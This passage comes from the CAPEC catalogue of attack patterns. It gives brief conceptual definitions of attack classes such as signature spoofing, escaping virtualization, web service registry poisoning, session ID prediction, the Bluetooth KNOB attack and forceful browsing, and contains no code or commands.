An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.